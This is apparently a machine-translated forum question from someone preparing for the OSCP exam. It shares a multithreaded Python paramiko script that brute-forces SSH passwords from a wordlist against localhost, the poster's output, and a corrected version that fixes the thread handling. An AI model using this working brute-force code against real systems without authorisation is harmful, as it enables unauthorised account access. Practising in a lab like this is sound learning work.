Итак, у меня есть многопоточный Python 3.7
сценарий для проекта, который пытается перебрать форсированный порт 22 на моей локальной машине (подготовка к экзамену OSCP).
Этот сценарий использует атаку по словарю дляbrute force the port.
Проблема, с которой я столкнулся, заключается в том, что скрипт распечатывает каждую попытку как успешную, так и неудачную.В конце он должен остановиться, и последние значения или набор значений добавляются в список found
.
На самом деле происходит то, что печатается правильный пароль, а затем другой из ошибочных паролей после него.Какой из них зависит от того, сколько работает потоков.
Я предполагаю, что это связано с тем, как я обращаюсь с потоками, но я не могу понять, что я делаю неправильно.
import paramiko
import threading
from queue import Queue
TARGET_IP = 'localhost'
USERNAME = 'targetuser'
WORDLIST = 'test2.txt'
MAX_THREADS = 20
found = []
q = Queue()
def ssh_connect(target_ip, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(target_ip, username=username, password=password)
found.append(password)
q.put(password)
except paramiko.ssh_exception.AuthenticationException:
print("[*] Failed: ", password)
return False
finally:
ssh.close()
return True
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
thread_count = 0
except KeyboardInterrupt:
break
if not q.empty() and len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")
if __name__ == '__main__':
main()
Вывод:
python3 ssh_brute.py
[*] Failed: josa10
[*] Failed: josa0823
[*] Failed: josa123
[*] Failed: josa070601
[*] Failed: josa004
[*] Failed: josa13
[*] Failed: josa0119
[*] Failed: josa-jones
[*] Failed: josa0131
[*] Failed: josa12
[*] Failed: josa08
[*] Failed: josa16
[*] Failed: josa122387
[*] Failed: josa04
[*] Failed: josa-young
[*] Failed: josa02
[*] Failed: josa-a
[*] Failed: josa143
[*] Failed: josa15
[!] Found: super_secret_password
[*] Failed: josa1856
Исправленный код, основанный на ответе ниже:
def main():
with open(WORDLIST) as input_handle:
threads = []
thread_count = 0
for line in input_handle:
try:
password = line.rstrip()
t = threading.Thread(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
threads.append(t)
t.start()
thread_count += 1
if not q.empty():
break
if thread_count >= MAX_THREADS:
for t in threads:
t.join()
threads = []
thread_count = 0
except KeyboardInterrupt:
break
for t in threads:
t.join()
# if not q.empty() and len(found) > 0:
if len(found) > 0:
for c in found:
print("[!] Found: ", c)
else:
print("[*] Pass not found")